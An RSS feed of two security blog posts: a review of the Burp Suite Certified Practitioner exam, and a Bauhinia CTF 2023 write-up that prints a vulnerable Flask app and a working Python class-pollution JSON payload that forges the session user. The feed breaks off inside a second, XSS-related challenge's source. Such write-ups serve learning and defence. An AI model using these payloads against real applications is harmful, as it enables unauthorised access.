<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Edge Nask on Medium]]></title>
        <description><![CDATA[Stories by Edge Nask on Medium]]></description>
        <link>https://medium.com/@edgenask?source=rss-dccfbb6f2585------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*tuSJmE5o2YhvpM3K</url>
            <title>Stories by Edge Nask on Medium</title>
            <link>https://medium.com/@edgenask?source=rss-dccfbb6f2585------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 13:30:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@edgenask/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Burp Suite Certified Practitioner (BSCP) Review: Tips and Comparison with eWPT]]></title>
            <link>https://medium.com/@edgenask/burp-suite-certified-practitioner-bscp-review-tips-and-comparison-with-ewpt-7048d36314d2?source=rss-dccfbb6f2585------2</link>
            <guid isPermaLink="false">https://medium.com/p/7048d36314d2</guid>
            <category><![CDATA[burp-suite-pro]]></category>
            <category><![CDATA[ewpt]]></category>
            <category><![CDATA[pentest-certification]]></category>
            <category><![CDATA[bscp]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[Edge Nask]]></dc:creator>
            <pubDate>Sun, 19 May 2024 23:04:29 GMT</pubDate>
            <atom:updated>2024-05-19T23:07:05.814Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey everyone! This is my second post. I recently passed the BSCP exam on my first attempt. The exam duration is about four hours, but I managed to complete it in 1 hour and 13 minutes. A few people reached out to me asking about the exam, so I decided to write about it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UUErGWGqLnGkg3XqQIH18w.png" /></figure><h3><strong>Background</strong></h3><p>As of writing this post, I’ve been doing pentesting, mostly web apps, for nearly three years. I got my eWPT certification around April of 2023. This was my first certification. Prior to that, I had been doing PortSwigger’s Web Security Academy labs since 2021. I did not know that PortSwigger actually has a certification exam. I was just doing it for fun, and it is extremely resourceful. I would say the learning materials provided by PortSwigger through Web Security Academy, even though they are absolutely free, are way better than the paid courses out there when it comes to black box web app pentesting. I came to know about BSCP at the end of 2023. After reading many reviews, I figured that it is an exam of medium difficulty and that many people failed their first attempt. So I took it as a challenge to clear the exam on my first try and started my preparation around March of 2024.</p><h3>Preparation</h3><p><strong>TL;DR:</strong> I read through all the topics, solved all the apprentice and practitioner level labs, did a few mystery labs, shuffled the lab links, and solved them all again. This entire process took around two months.</p><p>I started my preparation with the server-side topics, then moved on to client-side topics, and finally advanced topics. Since I already knew most of the material, I was able to read through the topics and complete most of the labs without spending too much time. There were some labs where I had to look at the solution, revealing knowledge gaps that I was glad to patch during my preparation. I took notes while reading through the topics and kept separate notes for the labs. I used Excel for taking notes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J-62bGq8B77Mcdl9RWCI_w.png" /><figcaption>Topic notes for SSTI</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ftaXfQNPcwGQ9hCKYeCNXw.png" /><figcaption>Lab notes for CSRF</figcaption></figure><p>The topic notes consist of ways to detect and exploit vulnerabilities, as well as any additional information I noticed or that was provided in the learning material. The lab notes include the possible stage in which the lab could appear in the exam, a link to the lab, functionalities and behavior of the lab, my personal solution to the labs, and also the official solution.</p><p>After completing all the topics and their respective labs, I started to work on the mystery labs. However, I noticed that the mystery labs began to repeat, and I realized they would not cover all the labs, leading to gaps in my practice. So, I used the links in my lab notes, shuffled them, and started solving the labs again one by one. This time, I was able to solve all the labs quickly without needing the solutions.</p><p>Although I am familiar with the Burp Scanner, extensions like HTTP Request Smuggler, and tools like sqlmap, while I was doing the labs, I detected and exploited the vulnerabilities manually and did not rely on any of them except ysoserial, PHPGGC, and DOM Invader. Apart from this, I also wrote, for the exam, a few Bchecks to quickly identify specific vulnerabilities.</p><p>After all this preparation, I decided to take the practice exams. The practice exams are a bit tricky compared to the labs. However, I managed to solve them successfully. I learned a valuable lesson from them. After completing the practice exams, I felt confident enough to take the actual exam.</p><h3>Exam Experience</h3><p><strong>TL;DR:</strong> The exam was easier than I expected, yet I still felt the pressure. The scanner helped. There are some areas where I could have done better.</p><p>The identity verification with Examity went smoothly and took only a few minutes. I started the exam at 4:03 PM on May 11, 2024. While I manually tested App 1, I fired up the scanner to detect vulnerabilities on App 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OtfnWJFeSv6KZ_-Z3X7oTA.png" /></figure><p>It took me around nine minutes to identify and exploit the vulnerability and clear the first stage on App 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yaeGxd9DLmW5f6teZcB3bg.png" /><figcaption>App 1 — First stage cleared</figcaption></figure><p>The next stage involved using the exploit server. I confused App 1’s exploit server with App 2’s exploit server and lost a few minutes. It took me around 15 minutes to clear the second stage of App 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gQdWobEVoH_JKHRoeMWO3w.png" /><figcaption>App 1— Second stage cleared</figcaption></figure><p>In the next stage, I was not able to identify the vulnerability at all. So, I decided to skip it for now and come back to it later, but this put a lot of pressure on me while exploiting the first stage of App 2. While I was manually testing App 1, the scanner I fired up on App 2 identified the vulnerability I needed to exploit to clear the first stage. It was a fairly simple vulnerability to exploit, but the unknown vulnerability in the third stage of App 1 put a lot of pressure on me. It took me around 30 minutes to exploit this vulnerability and clear the first stage of App 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mKNQbqaUevxwMK1ur0VmWA.png" /><figcaption>App 2 — First stage cleared</figcaption></figure><p>The second stage had a weird vulnerability, but I was able to identify and exploit it within just 4 minutes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U7_i3Y7-pm-JgigVaWNBdQ.png" /><figcaption>App 2 — Second stage cleared</figcaption></figure><p>I was able to quickly identify the vulnerability in the last stage of App 2 thanks to the Bchecks that I wrote during the preparation. The exploitation was a bit tricky, but I managed to clear this stage in just 3 minutes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cb6zUttrSIMHHlzlPV4ksw.png" /></figure><p>Now that App 2 is complete, I had 3 hours to concentrate on the vulnerability that I previously skipped. It took me around 10 minutes to identify and exploit this vulnerability and complete the third and last stage of App 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4tl42G7rmVSy-SIcuN9J6g.png" /></figure><p>Overall, the exam was easier than I expected, and I took just over an hour to complete it, but I still felt the pressure. I took more time than required to exploit the vulnerability in the first stage of App 2. It was a simple vulnerability straight out of the lab (the detection part was tricky, and I would have taken more time on it if it weren’t for the scanner). On a normal day, I should be able to exploit it within 10 minutes. Another area where I lost time is when I confused App 1’s exploit server with App 2’s exploit server. These are the places where I think I could have done better.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KPJgrbyxyyKCqzxmHajBTg.png" /><figcaption>It’s 3/3 on App 1, but for some reason, the page did not update.</figcaption></figure><p>Reloading the page redirected me to the upload page. I compressed the Burp project file and uploaded the zip file. The result is updated on the Portswigger site, saying that I’ve passed. I did not receive any email regarding the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*kqnDqlunvhGDa0OUlu5pkg.png" /></figure><h3>Tips for preparing and taking the exam</h3><ol><li>Don’t rush through your preparation; take your time to understand the topics well.</li><li>Only apprentice and practitioner-level labs are sufficient to pass the exam. Expert-level labs can be safely ignored, although solving them will give you an excellent understanding of the vulnerabilities.</li><li>Read the topic materials thoroughly and do the labs as you read. Take notes on the detection and exploitation of vulnerabilities. Even if there are no labs associated with certain detection or exploitation techniques, take notes on those as well. Additionally, take notes on the functionality and vulnerabilities of each lab, as well as the exploits or solutions used to solve them.</li><li>Topics like clickjacking, LLM attacks, and e-commerce-based business logic vulnerability labs can be given lower preference.</li><li>Learn how to use extensions like HTTP Request Smuggler, Param Miner, JWT Editor, Java Deserialization Scanner, and Hackvertor.</li><li>Learn how to use Burp scanner.</li><li>Learn how to use HTTP Request Smuggler. Launching all scans will take too much time. Instead, identify the scans that are relevant to the Web Security Academy Request Smuggling topic and only launch those.</li><li>Learn how to use third-party tools like sqlmap, ysoserial, PHPGGC, ExifTool, and Hashcat.</li><li>Learn how to exfiltrate data using nslookup, dig, curl, and wget. When doing labs that require you to delete morale.txt, try to exfiltrate it or the hostname using these utilites.</li><li>Read about everything on <a href="https://portswigger.net/web-security/certification">https://portswigger.net/web-security/certification</a></li><li>After completing all the topics and solving all the labs, do as many mystery labs as needed to improve your recon skills until you feel confident before taking the practice exam. I would also suggest shuffling all the lab links and solving all the labs again, carefully noting down the reasons why you had to look at the solution.</li><li>Create your own checklist for each stage and understand which functionalities, features, or elements suggest the presence of specific vulnerabilities. For example, the existence of an additional script tag may suggest an XSS vulnerability, while a cache header in the response could indicate a web cache poisoning vulnerability, and so on.</li><li>Don’t read or watch walkthroughs of the practice exams unless you have already taken them. The practice exams are at the same level of difficulty as the actual exam, so use them wisely to identify knowledge gaps. If you have completed all the practitioner-level labs and were able to clear the practice exams on your first attempt, you are probably ready to take the actual exam. If you are unable to clear them on the first attempt, keep trying until you do or feel stuck, in which case you may need to read or watch a walkthrough. Analyze what went wrong and try to learn from it.</li><li>After taking the practice exams, read through Botesjuan’s <a href="https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study?tab=readme-ov-file">notes</a> and DingyShark’s <a href="https://github.com/DingyShark/BurpSuiteCertifiedPractitioner">guide</a>.</li><li>Create a project file and load all the necessary extensions before starting the exam.</li><li>While you manually test one app, scan the other app using Burp scanner, HTTP Request Smuggler, etc. Do not run the scanner or send any requests to the app while it is being scanned by HTTP Request Smuggler.</li><li>Read through <a href="https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings">https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings</a> and understand the scenarios in which specific encoding or obfuscation can be used.</li></ol><h3>BSCP and eWPT: A Quick Comparison</h3><p>As I have both BSCP and eWPTv1 I think I’m qualified enough to make a comparison.</p><h4><strong>eWPTv1</strong></h4><p>eWPTv1 primarily tests your ability to pentest and write a professional report.</p><p><strong>Advantages:</strong></p><ol><li>It was realistic.</li></ol><p><strong>Disadvantages:</strong></p><ol><li>It was based on old vulnerabilities like SQLi, XSS, etc.</li><li>The exploitation was fairly straightforward.</li><li>eWPTv1 no longer exists and has been updated to eWPTv2. eWPTv2 is not a pentest-style certification. Currently, the only pentest-style web app security certification provided by INE is eWPTX, which unfortunately I do not possess, so I cannot make a comparison.</li></ol><h4>BSCP</h4><p>BSCP tests your skills with Burp Suite Professional, your understanding of vulnerabilities related to web applications, and your exploitation skills.</p><p><strong>Advantages:</strong></p><ol><li>The learning material is absolutely free and currently the gold standard when it comes to web app pentesting courses.</li><li>The certification is cheaper than most certifications.</li><li>It is also listed in the priority pathway of Synack Red Team <a href="https://www.synack.com/red-team/pathways/">pathways</a>.</li></ol><p><strong>Disadvantages:</strong></p><ol><li>CTF-like.</li><li>Requires Burp Suite Professional, which would not be a problem if the organization you are working for has a Burp Suite Professional license. Not sure about a free trial license.</li></ol><p>Overall, BSCP is way better than eWPTv1.</p><h3>Conclusion</h3><p>Even though I’ve been doing Portswigger labs for a long time, preparing for the BSCP exam allowed me to identify and address areas where I needed to improve. It was a rewarding experience to obtain this certification.</p><blockquote><em>That is all. Thank you for reading. Have a great life.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7048d36314d2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bauhinia CTF 2023 (Python Class Pollution & XSS)]]></title>
            <link>https://medium.com/@edgenask/bauhinia-ctf-2023-17fe1b00a398?source=rss-dccfbb6f2585------2</link>
            <guid isPermaLink="false">https://medium.com/p/17fe1b00a398</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[prototype-pollution]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[flask]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Edge Nask]]></dc:creator>
            <pubDate>Mon, 21 Aug 2023 22:27:14 GMT</pubDate>
            <atom:updated>2023-10-01T08:19:23.165Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9CeHL0IIjEOOi2wUtea1TA.png" /><figcaption>Bauhinia CTF 2023</figcaption></figure><p>This is a writeup for Bauhinia CTF 2023 <a href="#4915">Hensel-and-Gretel</a> and <a href="#0737">Carpe Diem</a> challenges.</p><h3>1. Hensel and Gretel</h3><blockquote>Hi! We’re Hansel and Gretel! We’ve started a bulletin board with the help of a witch to share our life with you! We heard the witch hid something sweet at somewhere only she has access of, can you help us find it?</blockquote><blockquote>Web: <a href="http://chall-us.pwnable.hk:30009/">http://chall-us.pwnable.hk:30009</a> , <a href="http://chall-hk.pwnable.hk:30009/">http://chall-hk.pwnable.hk:30009</a></blockquote><blockquote>Attachment: <a href="https://ctf.b6a.black/files/hansel-and-gretel_041a7127b7f1d72ff210f3168158baed.tar.gz">hansel-and-gretel_041a7127b7f1d72ff210f3168158baed.tar.gz</a></blockquote><blockquote>Note: The bulletin board will be rebuilt every 10 minutes.</blockquote><h4>Introduction</h4><p>The goal of this challenge is to retrieve the flag that is available only to the user <strong>witch. </strong>After analyzing the source code the vulnerability seems to be in the set_ function which can be leveraged to pollute the user attribute of the session class in the flask application.</p><h4>Understanding the challenge</h4><p>In this section I’ll be explaining the challenge in detail, if you just want the solution click <a href="#8c9c"><strong>here</strong></a>.</p><p>Visiting the URL, we don’t find anything interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F2HcRJHBAwVrcCHHFOdEKA.png" /></figure><p>So, lets download the attachments and analyze the source code.</p><pre>wget &quot;https://ctf.b6a.black/files/hansel-and-gretel_041a7127b7f1d72ff210f3168158baed.tar.gz&quot; -O hanselandgretel.tar.gz<br>tar -xzf hanselandgretel.tar.gz</pre><p>After extracting the attachment, we got a folder named chall with the following contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*z2XfNw5yK4A4bYn6969vqw.png" /><figcaption>Chall folder contents</figcaption></figure><p>The <strong>start.sh</strong> file is for running/restarting the app.py for every 10 minutes.</p><p>The <strong>Dockerfile</strong> is for building the app using docker.</p><p>The <strong>template</strong> files in the “templates” directory define the HTML structure and layout for rendering web pages within the Flask web application</p><p>What looks interesting is the <strong>app.py</strong> file.</p><pre>from flask import Flask, render_template, session, request, Response<br>from werkzeug.exceptions import HTTPException<br>import os<br>import json<br>import requests<br>from random import randint<br><br>def set_(src, dst):<br>    for k, v in src.items():<br>        if hasattr(dst, &#39;__getitem__&#39;):<br>            if dst.get(k) and type(v) == dict:<br>                set_(v, dst.get(k))<br>            else:<br>                dst[k] = v<br>        elif hasattr(dst, k) and type(v) == dict:<br>            set_(v, getattr(dst, k))<br>        else:<br>            setattr(dst, k, v)<br><br>class Board():<br>    def __init__(self): pass<br><br>    @property<br>    def pinned_content(self):<br>        return [{<br>            &quot;title&quot;: &quot;Our First Adventure!&quot;, <br>            &quot;text&quot;: &quot;Today we went to the forest and you can&#39;t believe what we&#39;ve got to! It&#39;s a house made out of gingerbread, cake and candy! How sweet it is!&quot;<br>        }]<br>    <br>    current_content = []<br><br>    def save(self, data):<br>        data_ = json.loads(data)<br>        if &quot;new_content&quot; not in data_:<br>            raise Exception(&quot;There is nothing to save.&quot;)<br>        if not isinstance(data_[&quot;new_content&quot;], list) and not len(data_[&quot;new_content&quot;]) &gt; 0 and not all([isinstance(x, dict) for x in data_[&quot;new_content&quot;]]):<br>            raise Exception(&quot;\&quot;new_content\&quot; should be a non-empty list of JSON-like objects.&quot;)<br>        if not all([&quot;title&quot; in x and &quot;text&quot; in x for x in data_[&quot;new_content&quot;]]):<br>            raise Exception(&quot;Please check your bulletin format&quot;)<br>        set_(data_, self)<br><br>    def load(self):<br>        res = self.pinned_content<br>        if isinstance(self.current_content, list) and len(self.current_content) &gt; 0 and all([&quot;title&quot; in x and &quot;text&quot; in x for x in self.current_content]):<br>            res.extend(self.current_content)<br>        if hasattr(self, &quot;new_content&quot;) and self.new_content is not None:<br>            new_content = getattr(self, &quot;new_content&quot;)<br>            self.current_content.extend(new_content)<br>            res.extend(new_content)<br>            self.new_content = None<br>        return res[::-1]<br><br><br>app = Flask(__name__)<br>app.config[&quot;SECRET_KEY&quot;] = str(os.urandom(32))<br>app.config[&quot;SESSION_COOKIE_HTTPONLY&quot;] = False<br>app.add_template_global(randint)<br><br>bulletin_board = Board()<br><br>@app.errorhandler(Exception)<br>def handle_exception(e):<br>    if isinstance(e, HTTPException):<br>        return e<br>    return str(e), 500<br><br>@app.after_request<br>def after_request_callback(response: Response):<br>    if response.status_code &gt;= 500:<br>        updated = render_template(&quot;template.html&quot;, status=response.status_code, message=response.response[0].decode())<br>        response.set_data(updated)<br>    return response<br><br>@app.route(&quot;/&lt;path:path&gt;&quot;)<br>def render(path):<br>    if not os.path.exists(f&quot;templates/{path}&quot;):<br>        return render_template(&quot;template.html&quot;, status=404, message=&quot;not found&quot;)<br>    return render_template(f&quot;{path}&quot;)<br><br>@app.route(&quot;/&quot;)<br>def index():<br>    session[&quot;user&quot;] = &quot;hansel &amp; gretel&quot;<br>    bulletins = requests.post(&quot;http://localhost:3000/load_bulletins&quot;).json()<br>    return render_template(&quot;index.html&quot;, bulletins=bulletins)<br><br>@app.route(&quot;/save_bulletins&quot;, methods=[&quot;POST&quot;])<br>def save_bulletins():<br>    if not request.is_json:<br>        raise Exception(&quot;Only accept JSON.&quot;)<br>    bulletin_board.save(request.data)<br>    return {&quot;message&quot;: &quot;Bulletins saved.&quot;}, 200, {&quot;Content-Type&quot;: &quot;application/json&quot;}<br><br>@app.route(&quot;/load_bulletins&quot;, methods=[&quot;POST&quot;])<br>def load_bulletins():<br>    return bulletin_board.load(), 200, {&quot;Content-Type&quot;: &quot;application/json&quot;}<br>        <br>@app.route(&quot;/flag&quot;)<br>def flag():<br>    if session.get(&quot;user&quot;) != &quot;witch&quot;:<br>        return render_template(&quot;template.html&quot;, status=403, message=&quot;You are not the witch.&quot;)<br>    return render_template(&quot;template.html&quot;, status=200, message=os.environ[&quot;FLAG&quot;])<br><br>if __name__ == &quot;__main__&quot;:<br>    app.run(host=&quot;0.0.0.0&quot;, port=&quot;3000&quot;)</pre><p>Here is the overview of how the app works.</p><p>When a user visits the main page, the <em>session[“user”]</em> is set as <em>“hansel &amp; gretel”</em>.</p><p>By sending a post request to <strong><em>save_bulletins</em></strong> in the following format users can save bulletins.</p><pre>{<br>    &quot;new_content&quot;: [<br>        {<br>            &quot;title&quot;: &quot;Test title&quot;,<br>            &quot;text&quot;: &quot;Test text&quot;<br>        }<br>    ]<br>}</pre><p>The bulletins are getting saved in the <strong><em>bulletin_board</em> object</strong>. The class <strong><em>Board</em></strong> will be instantiated as <strong><em>bulletin_board</em></strong> when the app is run. The bulletins are saved in this object. This is achieved by the <strong><em>set_</em></strong> function. The set_ function will iterate through all the keys in the source JSON from the request, and sets the keys as new attributes to the object structure and sets their value to the corresponding values in the JSON.</p><p>In the above example a new attribute called <strong><em>new_content</em></strong> will be added to the <em>bulletin_board, </em>and can now be referred to as <em>bulletin_board.new_content. </em>The value of <em>new_content</em> will become <em>[ { “title”: “Test title”, “text”: “Test text” } </em>]</p><p>The user can load the bulletins by sending a POST request to load_bulletins. The <em>bulletin_board.new_content </em>will be appended to the <em>bullentin_board.current_content </em>and <em>bullentin_board.new_content </em>will be set to <em>None</em>. The <em>bullentin_board.current_content </em>will be reversed and returned.</p><p>Next, the <em>/flag</em> route. Sending a GET request to <em>/flag</em>, the flag will be fetched from environment variables and returned in the response if the <em>session[“user”]</em> is witch. If you are not the witch, then you get 403.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*Z2ey8uS_do1_TRUm5tSVJg.png" /><figcaption>You are not the witch</figcaption></figure><p>If we can somehow set the session user as witch, we can get the flag. But how can we do it?</p><p>One way is to modify the session cookie. But this does not work in this context because the session is signed with a random key <em>app.config[“SECRET_KEY”] = str(os.urandom(32)).</em></p><p>The <em>set_ </em>function looks interesting because it reminds me of JavaScript<strong> prototype pollution</strong>. So I searched with keywords like python prototype pollution, object injection, class pollution etc.. and I found <a href="https://blog.abdulrah33m.com/prototype-pollution-in-python/">this</a> blog post explaining <strong>class pollution</strong> in python and how to exploit it.</p><pre>def set_(src, dst):<br>    for k, v in src.items():<br>        if hasattr(dst, &#39;__getitem__&#39;):<br>            if dst.get(k) and type(v) == dict:<br>                set_(v, dst.get(k))<br>            else:<br>                dst[k] = v<br>        elif hasattr(dst, k) and type(v) == dict:<br>            set_(v, getattr(dst, k))<br>        else:<br>            setattr(dst, k, v)</pre><p>In summary, we can abuse the <em>set_</em> function to overwrite or, rather, pollute any class/object we want within the global scope. This is good news because now we can try to pollute the imported <strong>session</strong> class, which is in the <strong>global scope.</strong></p><p>To better understand this, here is an example:</p><pre>#Simple class A<br>class A:<br> def foo(self):<br>  pass<br><br>#Simple object b of class A<br>b=A()<br><br>&quot;&quot;&quot;<br>In python we can get the class of an object like this<br>&quot;&quot;&quot;<br>print(&quot;Class of object b: &quot;, b.__class__)<br>#Output: Class of object b:  &lt;class &#39;__main__.A&#39;&gt;<br><br>&quot;&quot;&quot;<br>We can get the methods of the class in a similar way<br>Every defined method will have a __globals__dictionary which holds all the <br>global variables of the method. This include all the imported modules<br>&quot;&quot;&quot;<br>print(&quot;Global scope before import: &quot;, b.__class__.foo.__globals__)<br>#Output: Global scope before import:  {&#39;__name__&#39;: &#39;__main__&#39;, &#39;__doc__&#39;: None, <br>#&#39;__package__&#39;: None, &#39;__loader__&#39;: &lt;_frozen_importlib_external.SourceFileLoader object at 0x7ff77062ac10&gt;,<br>#&#39;__spec__&#39;: None, &#39;__annotations__&#39;: {}, &#39;__builtins__&#39;: &lt;module &#39;builtins&#39; (built-in)&gt;,<br>#&#39;__file__&#39;: &#39;/root/Documents/b6a/chall/example.py&#39;, &#39;__cached__&#39;: None, <br>#&#39;A&#39;: &lt;class &#39;__main__.A&#39;&gt;, &#39;b&#39;: &lt;__main__.A object at 0x7ff77040cf70&gt;}<br><br>import test<br><br>&quot;&quot;&quot;<br>After importing the test module, the __globals__ dict of foo will now have the<br>reference to the test module.<br>&quot;&quot;&quot;<br>print(&quot;Global scope after import:  &quot;, b.__class__.foo.__globals__)<br>#See the end of the output<br>#Output: Global scope after import:   {&#39;__name__&#39;: &#39;__main__&#39;, &#39;__doc__&#39;: None,<br>#&#39;__package__&#39;: None, &#39;__loader__&#39;: &lt;_frozen_importlib_external.SourceFileLoader object at 0x7ff77062ac10&gt;,<br>#&#39;__spec__&#39;: None, &#39;__annotations__&#39;: {}, &#39;__builtins__&#39;: &lt;module &#39;builtins&#39; (built-in)&gt;,<br>#&#39;__file__&#39;: &#39;/root/Documents/b6a/chall/example.py&#39;, &#39;__cached__&#39;: None, <br>#&#39;A&#39;: &lt;class &#39;__main__.A&#39;&gt;, &#39;b&#39;: &lt;__main__.A object at 0x7ff77040cf70&gt;, <br>#&#39;test&#39;: &lt;module &#39;test&#39; from &#39;/usr/lib/python3.9/test/__init__.py&#39;&gt;}<br><br>&quot;&quot;&quot;<br>We can also access the imported module by getting it in the following way<br>&quot;&quot;&quot;<br>print(&quot;test class: &quot;, b.__class__.foo.__globals__[&quot;test&quot;])<br>#Output: test class:  &lt;module &#39;test&#39; from &#39;/usr/lib/python3.9/test/__init__.py&#39;&gt;<br><br>&quot;&quot;&quot;<br>Now let&#39;s understand how we can leverage this behaviour to exploit the <br>set_ function in app.py<br>&quot;&quot;&quot;<br><br>#Class pollution<br>print(&quot;Before polluting: &quot;,test.__name__)<br>#Output:Before polluting:  test<br><br>&#39;&#39;&#39; PAYLOAD<br>&quot;new_content&quot;: [{&quot;title&quot;: &quot;Test title&quot;,&quot;text&quot;: &quot;Test text&quot;}],<br> &quot;__class__&quot;:{<br>  &quot;foo&quot;:{<br>     &quot;__globals__&quot;:{<br>      &quot;test&quot;:{<br>        &quot;__name__&quot;:&quot;polluted&quot;<br>        }<br>      }<br>    }<br>  }<br>}<br>&#39;&#39;&#39;<br><br>&quot;&quot;&quot;<br>The below is a simplified version of the set_ function<br>This is what happens recursively when the above payload is passed onto <br>the set_ function with payload as source and object b as destination<br>&quot;&quot;&quot;<br><br>class_=getattr(b,&#39;__class__&#39;) #set_(v, getattr(dst, k))<br>foo_=getattr(class_,&#39;foo&#39;) #set_(v, getattr(dst, k))<br>globals_=getattr(foo_,&#39;__globals__&#39;) #set_(v, getattr(dst, k))<br>test_=globals_.get(&#39;test&#39;) #set_(v, dst.get(k))<br>setattr(test_,&quot;__name__&quot;,&quot;polluted&quot;) #setattr(dst, k, v)<br><br>&quot;&quot;&quot;<br>This is simply means<br>setattr(b.__class__.foo.__globals__[&quot;test&quot;],&quot;__name__&quot;,&quot;polluted&quot;)<br>&quot;&quot;&quot;<br><br>print(&quot;After polluting: &quot;,test.__name__)<br>#Output:After polluting:  polluted</pre><h4>Solution:</h4><p>Now that we have understood how the app works and how it can be exploited. Let’s create the payload to get the flag.</p><p>Instead of polluting the <em>__name__</em> attribute of the <em>test</em> module like in the above example, we should pollute the <strong><em>user</em></strong> attribute of the<strong><em>session</em></strong> class. So the payload will be like the following.</p><pre>{&quot;new_content&quot;: [{&quot;title&quot;: &quot;Test title&quot;,&quot;text&quot;: &quot;Test text&quot;}],<br>    &quot;__class__&quot;:{<br>            &quot;__init__&quot;:{<br>              &quot;__globals__&quot;:{<br>               &quot;session&quot;:{<br>                &quot;user&quot;:&quot;witch&quot;<br>                }<br>            }<br>        }<br>    }<br>}</pre><p>Lets craft the request and send it using burp repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*TDhyKOaa29inDlCTcwYqjQ.png" /></figure><p>Looks like the bulletins are saved successfully. Now lets try to get the flag by sending a GET request to the flag endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wYusCv6Zp6ns_TvVINL68A.png" /></figure><p>Finally, we got the flag <strong>b6actf{p0llute_the_w0r1d_4_sweet_sweet_c00k1es}.</strong></p><p>And yes the flag is available publicly for 10 minutes unless someone visits the main page and reset the session user to <strong>Hansel and Gretel.</strong></p><h3>2. Carpe Diem</h3><blockquote>Teach us to number our days, that we may apply our hearts unto wisdom.</blockquote><blockquote>Website: <a href="http://chall-us.pwnable.hk:30016/">http://chall-us.pwnable.hk:30016</a> , <a href="http://chall-hk.pwnable.hk:30016/">http://chall-hk.pwnable.hk:30016</a></blockquote><blockquote>Challenge Bot: <a href="http://chall-us.pwnable.hk:30016/visit">http://chall-us.pwnable.hk:30016/visit</a> , <a href="http://chall-hk.pwnable.hk:30016/visit">http://chall-hk.pwnable.hk:30016/visit</a></blockquote><blockquote>Attachment: <a href="https://ctf.b6a.black/files/carpe-diem_6f1189b7ee82fa28da29a6215ae9b0da.zip">carpe-diem_6f1189b7ee82fa28da29a6215ae9b0da.zip</a></blockquote><h4>Introduction</h4><p>This challenge presented an interesting scenario where an application used Puppeteer, a headless browser automation library for Node.js, to visit a user-provided URL. Every time the admin bot visits the URL, a piece of information about the flag is leaked. The goal was to exploit this setup and retrieve the flag.</p><h4>Understanding the challenge</h4><p>In this section, I’ll be explaining the challenge in detail. If you just want the solution click <a href="#fa56">here</a>.</p><p>For this challenge, we have three links. First the website link is for a simple website. Whatever input we provide in the left section, which is a text area, will be converted to base64 and written to location.hash.</p><p>Next, whatever value is in the location.hash.slice(1) will be base64 decoded and written to the right section which is an iframe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*h1BhBJQqBKWjoRXdNJW_IQ.png" /></figure><p>We can get an XSS like the following.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bg0DWriLFVjnNHRUTXlJgw.png" /></figure><p>Second is the link to a page where we can send an URL to the admin bot to visit. It looks like it is captcha-protected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*opvouqIGxntcYaPzukifLQ.png" /></figure><p>Third is the link to download the attachment. Let’s download it using wget and extract it using unzip.</p><pre>wget &quot;https://ctf.b6a.black/files/carpe-diem_6f1189b7ee82fa28da29a6215ae9b0da.zip&quot; -O carpediem.zip<br>unzip carpediem.zip</pre><p>After extraction, we got the worker.js file which have the following content.</p><pre>const puppeteer = require(&quot;puppeteer&quot;);<br>const crypto = require(&quot;crypto&quot;)<br>const PORT = process.env.PORT ?? 12345;<br>const FLAG = process.env.FLAG ?? &quot;b6actf{THISISATESTFLAG}&quot;;<br>const flag_content = FLAG.slice(FLAG.indexOf(&quot;{&quot;) + 1, -1);<br>require(&quot;assert&quot;)(/^[A-Z]+$/.test(flag_content));<br><br>async function visit(url) {<br>    const browser = await puppeteer.launch({<br>        executablePath: &quot;/usr/bin/google-chrome&quot;,<br>        args: [<br>            &#39;--no-sandbox&#39;,<br>            &#39;--disable-setuid-sandbox&#39;,<br>            &#39;--disable-gpu&#39;,<br>            